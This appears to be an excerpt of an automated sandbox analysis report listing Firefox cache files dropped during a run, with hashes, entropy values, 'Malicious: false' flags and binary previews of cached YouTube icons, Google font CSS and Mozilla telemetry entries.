Preview:	..........-P.j.@....w..]l.../9.\|/I...&......u...if.P.lWx~..^.u}..m......."j.BA....J..m.....W..b...\|^.N...sMp...F..0Z`.....l....$..&6...., ....`1.Fc.T.'.$.L1.....<R(.E..]...9.4\..f.K.K.PsoJ.....-Cq.....S.?h.>.W....R......E..7.....gX..........e.dqe.dqFv..g......m....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/arrow_time/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQ

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\EE8784B691126F2F4AD0F3140571266E32E0A562

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3036676096
Category:	dropped
Size (bytes):	9593
Entropy (8bit):	6.17429115744297
Encrypted:	false
SSDEEP:	192:NRF/+phChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlErEo:NiyzwHUL75Vf8eehqrufWWCt2BVlSZ
MD5:	CB6FC4753CE8C56E61502991CE2415CA
SHA1:	2F02E1B4450E5DA8491D97BE921E1B7BA58CA317
SHA-256:	11BCBA25DD3EEAB75D24414034C35572430C7307D6842765CD167B0C01C4E351
SHA-512:	32F68F610C6820FBE5BA2805CD77720534D5D372FD42819D6F956598E51429CE663B68ED27253E18D5F523DC25DDF0CDA95127CD8A24013E7E22BD6A3C7A7CE6
Malicious:	false
Reputation:	unknown
Preview:	..........MN...0...S..[%T..+;.(Am.AJP...,.}.O>.\..........+c1F.....$...vl....n..c_..F..R'..vp>....`.m.K.....W......]H.[N..f...(.I...S$..8j.4...0.O......c.!.*............[....0........e.dqe.dqFv..g.I~...h....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/audio/v5/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\EEAA8B6CB450A821628297B2E4F2DCF59F53D3DF

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3070230528
Category:	dropped
Size (bytes):	9602
Entropy (8bit):	6.172042180196843
Encrypted:	false
SSDEEP:	192:EhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEPEl:tzwHUL75Vf8eehqrufWWCt2BVlMW
MD5:	CA947918CB134A9EF1E1634A003C84EB
SHA1:	C95953A24197278F1E565104CD0DB9B89B41EDA7
SHA-256:	ACAAC1EB18ABCB8A0181CD27F5E90BBE48EE27325480D752C29A72BBC3BA4B32
SHA-512:	58B2197A5FC4294A36FC1C5512E9FA2574FAE202E50A8EA9ED3C15EB20FA0B425294CA090E780ADFCEF6175CBAC377A071CE9B2FBCECC3B81C1615C378FED444
Malicious:	false
Reputation:	unknown
Preview:	..........M....0.D.e.=.5j.......]kH.&..........,.......v..vn}0.BH.O.M.,MS......,..?j[.v.....8Y......&......._....;n..w.b.A..%..v.4...yW..c....O.i...N,.Wd.F....O.........-.......e..........e.dqe.dqFv..g.W....m....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/library/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\EFDC9888262A737EF65B924CA9F8E614CAEEE0AF

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2701131776
Category:	dropped
Size (bytes):	9581
Entropy (8bit):	6.156054156469024
Encrypted:	false
SSDEEP:	192:PhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEYEa:szwHUL75Vf8eehqrufWWCt2BVlLx
MD5:	70A09DC1E72BB6F44F76738A4BD4FC04
SHA1:	A7BF0FBE699593B62EBDB5F2113B7904BF072A52
SHA-256:	8C10E29442D4C8C9EF5EC32D7CD75BDDD9E4B37C32D64442F8D6B0E0F9ECF629
SHA-512:	832264089C8CB0BFF158189139E28563BD1339A047EC01D9F12D1DA76415B74A2A9E11133537DEEEEB8C484AF153779F293CC7DE4C8B02DD8BD5B5A92F996FAB
Malicious:	false
Reputation:	unknown
Preview:	...............0.C..t{.9..V..S...+.8$ZP....A..g.n.8...?.G.a.j.R.T...ua.......(.ca..4..{4`...Y.. g..+.......:*...R5.\vI...V.G6d..#.U..t9Pwm......P......2............e.dqe.dqFv..g.6....n....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/download/v9/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\F0644219855D9B642DA1277239B13CFC0A01662F

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2936012800
Category:	dropped
Size (bytes):	9591
Entropy (8bit):	6.167642233394552
Encrypted:	false
SSDEEP:	192:0xbhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEUE2:0YzwHUL75Vf8eehqrufWWCt2BVlP9
MD5:	F12DE04AD1D87673D059025831D33630
SHA1:	734B8D60E20C48BD8A7C40681E2B1A42AB8C8706
SHA-256:	39B0F00497964011B2B5B49148D70F48B5952881BBF774D11D93FDA05A60D5EA
SHA-512:	C3EA77A578D2191FCA4C26303A569F2E3B736D7C800600C14FEBA3FEAA1646B4593CB146E527EAB95F6B48E5B7944A6B444E9D6F1D94E4B6F51E65F305AD95E0
Malicious:	false
Reputation:	unknown
Preview:	..........M.... .._......4.......0U4J....N..p.w.\....yr.....Fi..DN...1FS.#..a...?.f[>.....\$cd.h.W..a......8....Z{oQ.h.b.D..w....ls@<.l..[...T...@e(.".D....u...._.\......._P5........e.dqe.dqFv..g.....j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/library/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfB

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\F1FC0AA396C460C8F3195C78AE270F90F33D5B35

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2801795072
Category:	dropped
Size (bytes):	9594
Entropy (8bit):	6.153556139566409
Encrypted:	false
SSDEEP:	192:whChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEa2NEa2G:ZzwHUL75Vf8eehqrufWWCt2BVlf2Nf2G
MD5:	FE2558E59581A76B136E227C427B64C9
SHA1:	11DE0F1E7EF0CDB50ECDCC75E7F1EC4F0DF9C90F
SHA-256:	10A4D043158ADC2553AA090D05CB2DCEAF93B99DF1A16B6B91D6A015AF17BB25
SHA-512:	457C04C60D9831364A92CFDB831EEF42841BEE7F1864971520AD87FF3F5DFFFBF62A9001BB891A5D11C3C872CDFB37A4D5160BD587583DAA96AA6EF3DB99F201
Malicious:	false
Reputation:	unknown
Preview:	..........M.1..0.E..e...*."...te...$ H...k:U....e.z...n....r.2...".W+A)%.3.~2..^o...?h.Mb..J.ghF.A.s..I.y...q...M.t...x....JT..-<..]Y.( .@r.S. l+...eS.../.G>......._...........e.due.duFv..g......w....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/message_bubble_alert/v6/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\F296CC0CB1185C9A281664B8D8A74F6FD9F1BBC5

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3556900864
Category:	dropped
Size (bytes):	10658
Entropy (8bit):	6.386062777333322
Encrypted:	false
SSDEEP:	192:300CREf0YkpRlmudWyfX+p0T9yrtn0sQwk6/ZgdR8e98hqrKcS+E+rW29t2BVGvz:300C6almudQNhnmwb/ZWR8eehqrufWWC
MD5:	1925A87F04F35F47616323BC2310D709
SHA1:	8175E74CCE785AD94B49D46F5F5D328D6ADEFCB2
SHA-256:	3563F206E5A3F9A8E9E1723B6D605F04A43E7FB2907437E8F73539BD03052307
SHA-512:	79B39823E93E80DC4F9F9142C73FAB2037C69F492AD92FEF2CC4CC0803C7CF4247313E1B1F118F5F13BC94432A56ACC81B6E2C3708A9FB5ED2CAA0651AB5D67C
Malicious:	false
Reputation:	unknown
Preview:	............r.0...~.nNR.$..8..F...t..@)vH0...8..{WHu..:c"'.....`....v.D."I.$R..J9..o.yV..0....E.j...2....\|x..AYm.x.$U.+..n.dy]M..!v.,.......VN4.MO.e.VIt..+..ze.NG.~.....!...k._....W..=...9.7...:..rx.^..(...E.-.>.A..Td.:...1R.2f. ..i.T2....2..ZN-h@....l.s....jFj.F:....V.I.p.p.......cK.Y.q\|...!.#..P`J...:H.I.m.......,\.e..Hq.H1"\...1..1....q.....p.4WLs)....~a....!....Nt1.... ...O....S.>k.&B...'.R.f..1....~.....Q.. ...h.%...O.IT.&>.....n.8..]U.x[....{qE.+...E....M^r...s.[\|..b.....'..I........#~..O.<.............<@....q.8..t.0..M.,.<>.....^.....9.....7..3..yQ.7..5Z.y..5".Q;!.....V.).0eY.K..;.......HZ...d.;.r#.;./A..X..m.xj>li.../....6C......A..f..../A....C..l./.........j.!...............e.d.e.d.Fv.7e..S........O^partitionKey=%28https%2Cyoutube.com%29,:https://fonts.googleapis.com/css?family=Roboto:300italic,400italic,500italic,700italic.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgS

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\F3373B24AB67D455B207FA78D3E7D012A32DE837

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3925868544
Category:	dropped
Size (bytes):	9649
Entropy (8bit):	6.19084529974005
Encrypted:	false
SSDEEP:	192:QMhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEgEx:SzwHUL75Vf8eehqrufWWCt2BVlXS
MD5:	6B1D477026DFA8C2D369529EF99824AD
SHA1:	C8F9DDE46051EC8A23AAF12A71FE20E26ABE40E4
SHA-256:	381A0C70858D1656CD071B18B2213A5E533D94A47A4E3881F52EC8AB8EA71574
SHA-512:	7F70DF729A78D6E617460E5C8053CA889508BEC91A2C161FADF19547525BD44F440681751F125DAE1C96EE01DE9D79D0C2D874E2B6FDD89964A0DAC913E00833
Malicious:	false
Reputation:	unknown
Preview:	..........MP..0...+w.8.B+..~....R...T..:pY9..x.O.r}..O.Z.a...,.1R..<..h.3.P...u.....s..o....Z.89..n.R.....,.J...x...G.. +.Il>Qa.S.vh.(...094...8..h.T....R...Pp.H$.L>H.%m...t[..)%...8..s.....r0.$...~...A.>.#.?*...A...?."H....~...?........e.due.dvFv..g.o\|...i....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/search/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgN

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\F4CB304FD4D03C53B6509A69A0C573AE3FFCA86F

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2097217536
Category:	dropped
Size (bytes):	9802
Entropy (8bit):	6.264047484640299
Encrypted:	false
SSDEEP:	192:YyHhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEDaED/:FkzwHUL75Vf8eehqrufWWCt2BVBaaa/
MD5:	2AF6196D0247A33445738594FEEB7820
SHA1:	A95E246FA1DD0C10F18188CB8F7C6CC93C77FD9B
SHA-256:	FEA9EA1A8044A8B6AE336B9758BAC556BEAB4FA90B791BC830519B3C0060E6FD
SHA-512:	62196E15022F48F0E24320C39DD572913B4446595F4214562A81D1EC3571554E3F36216AF1E95E76CF6C22EBFBCC35663B86644C0493E15B85F632F343FA5C52
Malicious:	false
Reputation:	unknown
Preview:	..........L....0.._E.L.L..".P/..k..cXA..pq.C..`..2. H..>B..:..?...UeY>~...m.<n.S...Se...}...i.=}..^.]u.7......2...4^/.....U/..r^...}..b.]u...!.b......6...3E.'....I.T.,#fb+.@.....#.7.u.p.EJ... .DL.6[Fj.AZ+H2.\|..w..I.$.cH&..F{.cC..a..._...(-.L.!.lu.%.KVNi..6.'.$......OF$........qj....80..3"1DT........hQ.[b.'It..{S.L......A.C.67$J...W...IT...9...;.............1.......^q........e.due.dvFv..g.\|....o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/thumb_up/v17/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\F5A464CE101C457E013636C05822F5455AEA300B

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9641
Entropy (8bit):	6.274293160144413
Encrypted:	false
SSDEEP:	192:4mbWhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWzWzB:4mbbzwHUL75Vf8eehqrufWWCt2BVmd
MD5:	518CAEE5FD8DF8DA2C121EBEB150CB68
SHA1:	EC3C415E17C5F440C69F7B3244C660F305E705ED
SHA-256:	8A925BFB2D9B15D9A49341116CC9AC1BF43D5B4CA16BFA1E5287177074F0BF32
SHA-512:	A9033B637E5CF803E148ED764E9A01146EFE50A8423DCD007913B9564140E7BDF2F068BFA3911CD72C6B1082887676D7D15F53D11FF64592665A2F8A9EE9CE0C
Malicious:	false
Reputation:	unknown
Preview:	....aQ`7CG....,.Ym....&.......?BK......}a...%S.j.a..:...M.Ez\|......x.7.N..Ug.-........4..D'f......M.\2w..?.?...C.?..d..6.}..........@...7..'..Z..hq....v=......r`={.Ao..RA..^p..:S...jgV..F.@U<l..[..<.h.....m...[3....f...U.Qr....z.%...$o..o.~V...9.=...6...QAd.%......!....F.....S9..4.{....#(..s9R..Ve\|....P.-...X..Qkz(.f..].R`..,r.....;..QQz......}8.....6..w....%`.D........e.dqe.dqFv..g.M.........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/creator_studio_red_logo/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKo

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\F67094F9B87C5DE65410E4D19E7435D0255001E4

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9530
Entropy (8bit):	6.2212628756667865
Encrypted:	false
SSDEEP:	192:010hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWKq0oKq0F:M9zwHUL75Vf8eehqrufWWCt2BVmG0g0F
MD5:	BCF74BCE059DFC341FE992DF503DF94A
SHA1:	0B7C59CC0D25D0F4CCABF73DE79668B0FDA8153A
SHA-256:	075C47E31E12BF77D5B41AEA8202E0C120F357FF1C5C782B4FB28DFE667E9D13
SHA-512:	A8304548C92FAE895695EA25289898868C394B2502233634406FC5E6AEA39EA86F97DC0D52F873DA119723D73776EDE966F1073F95930AC2116E072BD97E1F92
Malicious:	false
Reputation:	unknown
Preview:	.8...(pcg........tr..S.n.-....*...C....Th....H........\..X e...\|...=[...L.A.ZL\.7....,..~.w....$........k6....Z3iG1...../..j.\|..x...J.gk!.4..0....&c....2.I.B.( .t..w.?....`\.....V.M.E.K\.Z#.ml.i_a}.p.6,q.<y2Yi.wW .l....M.5V.k.........Z.8zj..iD.e.....[.......t. ....o.R..........e.due.dvFv..g...........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/shorts-share/v2/32px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfm

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\F76932ABE77D54D2BC6B572269684952D0063E3A

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8044
Entropy (8bit):	6.036297382263251
Encrypted:	false
SSDEEP:	192:EJbV2GHyBXO49FgAfBKB2TWCDeBNbZovEpnp:EJxVHydO49aAfU2LkAcb
MD5:	B2211888E6785FBCF115883BF1B418A1
SHA1:	F4595DD8B66D0BB5E584319E2C6255695410AC95
SHA-256:	E59B39DAC943E60E75C44C170A5EB0103113BFD9FF7A5C1270D5D02DD13674E3
SHA-512:	97311BFF065BCAF63F8EBD78FBBD708060DF3E520D38C974770F1E07E77AF4762F02122F7802EFEB57CBCB524945916F4188053ECD425001358B21ECBDECD02B
Malicious:	false
Reputation:	unknown
Preview:	D%D.........e.dMe.dNFv..e.dN...z....a,~1705534504,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/newtab/1/8940dc38-b85f-4355-b090-8e4e300a9627.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWvltyVWdC4dC

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\FE1F5B94E735CF25E43C634E82ECB06C772BE012

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
